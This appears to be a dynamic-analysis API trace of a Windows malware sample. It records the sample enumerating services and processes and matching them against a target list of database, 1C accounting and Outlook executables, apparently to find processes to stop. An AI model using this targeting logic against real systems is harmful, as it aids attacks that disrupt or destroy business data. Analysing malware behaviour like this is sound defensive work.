	[0034.699] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0034.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0034.699] lstrlenW (lpString="CryptSvc") returned 8
	[0034.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0034.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0034.699] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0034.699] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0034.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0034.699] lstrlenW (lpString="CscService") returned 10
	[0034.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0034.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0034.699] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0034.699] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0034.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0034.699] lstrlenW (lpString="DcomLaunch") returned 10
	[0034.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0034.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0034.699] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0034.699] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0034.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0034.699] lstrlenW (lpString="Dhcp") returned 4
	[0034.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0034.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0034.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0034.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0034.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0034.699] lstrlenW (lpString="Dnscache") returned 8
	[0034.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0034.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0034.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0034.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0034.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0034.700] lstrlenW (lpString="DPS") returned 3
	[0034.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0034.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0034.700] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0034.700] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0034.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0034.700] lstrlenW (lpString="eventlog") returned 8
	[0034.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0034.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0034.700] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0034.700] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0034.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0034.700] lstrlenW (lpString="EventSystem") returned 11
	[0034.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0034.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0034.700] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0034.700] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0034.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0034.700] lstrlenW (lpString="gpsvc") returned 5
	[0034.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0034.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0034.700] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0034.700] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0034.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0034.700] lstrlenW (lpString="iphlpsvc") returned 8
	[0034.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0034.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0034.701] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0034.701] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0034.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0034.701] lstrlenW (lpString="LanmanServer") returned 12
	[0034.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0034.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0034.701] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0034.701] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0034.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0034.701] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0034.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0034.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0034.701] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0034.701] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0034.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0034.701] lstrlenW (lpString="lmhosts") returned 7
	[0034.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0034.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0034.701] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0034.701] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0034.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0034.701] lstrlenW (lpString="MMCSS") returned 5
	[0034.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0034.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0034.701] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0034.701] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0034.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0034.701] lstrlenW (lpString="MpsSvc") returned 6
	[0034.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0034.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0034.701] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0034.702] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0034.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0034.702] lstrlenW (lpString="Netman") returned 6
	[0034.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0034.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0034.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0034.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0034.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0034.702] lstrlenW (lpString="netprofm") returned 8
	[0034.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0034.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0034.702] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0034.702] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0034.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0034.702] lstrlenW (lpString="NlaSvc") returned 6
	[0034.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0034.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0034.702] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0034.702] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0034.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0034.702] lstrlenW (lpString="nsi") returned 3
	[0034.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0034.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0034.702] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0034.702] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0034.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0034.702] lstrlenW (lpString="PcaSvc") returned 6
	[0034.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0034.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0034.702] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0034.702] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0034.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0034.702] lstrlenW (lpString="PlugPlay") returned 8
	[0034.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0034.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0034.703] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0034.703] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0034.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0034.703] lstrlenW (lpString="Power") returned 5
	[0034.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0034.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0034.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0034.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0034.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0034.703] lstrlenW (lpString="ProfSvc") returned 7
	[0034.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0034.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0034.703] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0034.703] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0034.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0034.703] lstrlenW (lpString="RpcEptMapper") returned 12
	[0034.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0034.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0034.703] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0034.703] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0034.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0034.703] lstrlenW (lpString="RpcSs") returned 5
	[0034.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0034.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0034.703] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0034.703] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0034.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0034.703] lstrlenW (lpString="SamSs") returned 5
	[0034.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0034.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0034.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0034.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0034.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0034.704] lstrlenW (lpString="Schedule") returned 8
	[0034.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0034.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0034.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0034.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0034.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0034.704] lstrlenW (lpString="SENS") returned 4
	[0034.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0034.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0034.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0034.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0034.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0034.704] lstrlenW (lpString="ShellHWDetection") returned 16
	[0034.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0034.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0034.704] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0034.704] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0034.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0034.704] lstrlenW (lpString="Spooler") returned 7
	[0034.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0034.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0034.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0034.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0034.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0034.704] lstrlenW (lpString="SysMain") returned 7
	[0034.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0034.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0034.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0034.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0034.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0034.704] lstrlenW (lpString="Themes") returned 6
	[0034.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0034.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0034.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0034.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0034.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0034.705] lstrlenW (lpString="TrkWks") returned 6
	[0034.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0034.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0034.705] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0034.705] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0034.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0034.705] lstrlenW (lpString="UxSms") returned 5
	[0034.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0034.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0034.705] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0034.705] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0034.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0034.705] lstrlenW (lpString="WdiServiceHost") returned 14
	[0034.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0034.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0034.705] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0034.705] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0034.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0034.705] lstrlenW (lpString="WdiSystemHost") returned 13
	[0034.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0034.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0034.705] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0034.705] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0034.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0034.705] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0034.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0034.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0034.705] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0034.705] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0034.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0034.705] lstrlenW (lpString="Winmgmt") returned 7
	[0034.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0034.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0034.706] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0034.706] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0034.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0034.706] lstrlenW (lpString="WPDBusEnum") returned 10
	[0034.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0034.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0034.706] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0034.706] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0034.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0034.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5291e0 | out: hHeap=0x4f0000) returned 1
	[0034.706] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0
	[0034.709] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0034.710] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0034.710] lstrlenW (lpString="System") returned 6
	[0034.710] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0034.710] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0034.710] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0034.711] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0034.711] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0034.711] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0034.711] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0034.711] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0034.711] lstrlenW (lpString="smss.exe") returned 8
	[0034.711] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0034.711] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0034.711] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0034.711] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0034.711] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0034.711] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0034.711] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0034.711] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0034.712] lstrlenW (lpString="csrss.exe") returned 9
	[0034.712] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0034.712] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0034.712] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0034.712] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0034.712] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0034.712] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0034.712] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0034.712] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0034.713] lstrlenW (lpString="wininit.exe") returned 11
	[0034.713] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0034.713] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0034.713] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0034.713] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0034.713] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0034.713] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0034.713] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0034.713] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0034.714] lstrlenW (lpString="csrss.exe") returned 9
	[0034.714] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0034.714] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0034.714] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0034.714] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0034.714] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0034.714] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0034.714] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0034.715] lstrlenW (lpString="winlogon.exe") returned 12
	[0034.715] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0034.715] lstrlenW (lpString="services.exe") returned 12
	[0034.715] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0034.716] lstrlenW (lpString="lsass.exe") returned 9
	[0034.716] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0034.716] lstrlenW (lpString="lsm.exe") returned 7
	[0034.716] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0034.717] lstrlenW (lpString="svchost.exe") returned 11
	[0034.717] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0034.717] lstrlenW (lpString="svchost.exe") returned 11
